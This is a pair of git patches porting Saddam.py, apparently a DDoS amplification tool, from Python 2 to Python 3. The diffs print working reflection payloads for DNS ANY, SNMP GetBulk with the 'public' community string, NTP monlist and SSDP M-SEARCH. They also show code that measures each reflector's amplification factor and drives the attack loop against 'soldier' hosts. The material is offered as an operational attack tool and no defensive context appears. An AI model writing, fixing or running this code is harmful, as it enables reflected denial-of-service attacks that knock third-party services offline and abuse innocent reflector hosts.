From 1cc96df628221f80c2016a272482d0c4bec3536d Mon Sep 17 00:00:00 2001 From: Raaj | Abhijit Lenka <230943621+N3ktye@users.noreply.github.com> Date: Mon, 21 Sep 2026 12:35:05 +0530 Subject: [PATCH 1/2] error-resolved --- Saddam.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/Saddam.py b/Saddam.py index 3068951..75750b0 100644 --- a/Saddam.py +++ b/Saddam.py @@ -119,7 +119,7 @@ def Monitor(): ''' Monitor attack ''' - print ATTACK + print(ATTACK) FMT = '{:^15}|{:^15}|{:^15}|{:^15}' start = time.time() while True: @@ -132,10 +132,10 @@ def Monitor(): sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out)))) time.sleep(1) except KeyboardInterrupt: - print '\nInterrupted' + print ('\nInterrupted'); break except Exception as err: - print '\nError:', str(err) + print ('\nError:', str(err)); break @@ -143,7 +143,7 @@ def AmpFactor(recvd, sent): return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd) def Benchmark(ddos): - print BENCHMARK + print(BENCHMARK) i = 0 for proto in files: f = open(files[proto][FILE_NAME], 'r') @@ -155,18 +155,18 @@ def Benchmark(ddos): i+= 1 recvd, sent = ddos.GetAmpSize(proto, soldier, domain) if recvd/sent: - print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, - AmpFactor(recvd, sent), domain) + print('{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, + AmpFactor(recvd, sent), domain)) else: continue else: recvd, sent = ddos.GetAmpSize(proto, soldier) - print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, - AmpFactor(recvd, sent), 'N/A') + print('{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, + AmpFactor(recvd, sent), 'N/A')) i+= 1 else: break - print 'Total tested:', i + print('Total tested:', i) f.close() class DDoS(object): @@ -244,10 +244,10 @@ def __attack(self): soldier = _files[proto][FILE_HANDLE].readline().strip() if soldier: if proto=='dns': - if not amplification[proto].has_key(soldier): + if soldier not in amplification[proto]: amplification[proto][soldier] = {} for domain in self.domains: - if not amplification[proto][soldier].has_key(domain): + if domain not in amplification[proto][soldier]: size, _ = self.GetAmpSize(proto, soldier, domain) if size==0: break @@ -261,7 +261,7 @@ def __attack(self): i+=1 nbytes += amplification[proto][soldier][domain] else: - if not amplification[proto].has_key(soldier): + if soldier not in amplification[proto]: size, _ = self.GetAmpSize(proto, soldier) if size Date: Mon, 21 Sep 2026 12:44:36 +0530 Subject: [PATCH 2/2] python3-support --- Saddam.py | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/Saddam.py b/Saddam.py index 75750b0..044e47a 100644 --- a/Saddam.py +++ b/Saddam.py @@ -58,16 +58,16 @@ 'ssdp': 1900 } PAYLOAD = { - 'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' - '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' - '\x00\x00\x00\x00\x00\x00'), - 'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' - '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' - '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06' - '\x01\x02\x01\x05\x00'), - 'ntp':('\x17\x00\x02\x2a'+'\x00'*4), - 'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n' - 'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n') + 'dns': (b'{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' + b'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' + b'\x00\x00\x00\x00\x00\x00'), + 'snmp':(b'\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' + b'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' + b'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06' + b'\x01\x02\x01\x05\x00'), + 'ntp':(b'\x17\x00\x02\x2a'+b'\x00'*4), + 'ssdp':(b'M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n' + b'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n') } amplification = { @@ -140,7 +140,7 @@ def Monitor(): def AmpFactor(recvd, sent): - return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd) + return '{}x ({}B -> {}B)'.format(recvd//sent, sent, recvd) def Benchmark(ddos): print(BENCHMARK) @@ -154,7 +154,7 @@ def Benchmark(ddos): for domain in ddos.domains: i+= 1 recvd, sent = ddos.GetAmpSize(proto, soldier, domain) - if recvd/sent: + if recvd//sent: print('{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, AmpFactor(recvd, sent), domain)) else: @@ -192,7 +192,7 @@ def GetAmpSize(self, proto, soldier, domain=''): ''' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) - data = '' + data = b'' if proto in ['ntp', 'ssdp']: packet = PAYLOAD[proto] sock.sendto(packet, (soldier, PORT[proto])) @@ -210,7 +210,7 @@ def GetAmpSize(self, proto, soldier, domain=''): sock.sendto(packet, (soldier, PORT[proto])) data, _ = sock.recvfrom(65535) except socket.timeout: - data = '' + data = b'' finally: sock.close() return len(data), len(packet) @@ -221,15 +221,17 @@ def __GetQName(self, domain): octet followed by that number of octets ''' labels = domain.split('.') - QName = '' + QName = b'' for label in labels: if len(label): - QName += struct.pack('B', len(label)) + label + QName += struct.pack('B', len(label)) + label.encode() return QName def __GetDnsQuery(self, domain): id = struct.pack('H', randint(0, 65535)) QName = self.__GetQName(domain) - return PAYLOAD['dns'].format(id, QName) + template = PAYLOAD['dns'] + parts = template.split(b'{}') + return parts[0] + id + parts[1] + QName + parts[2] def __attack(self): global npackets global nbytes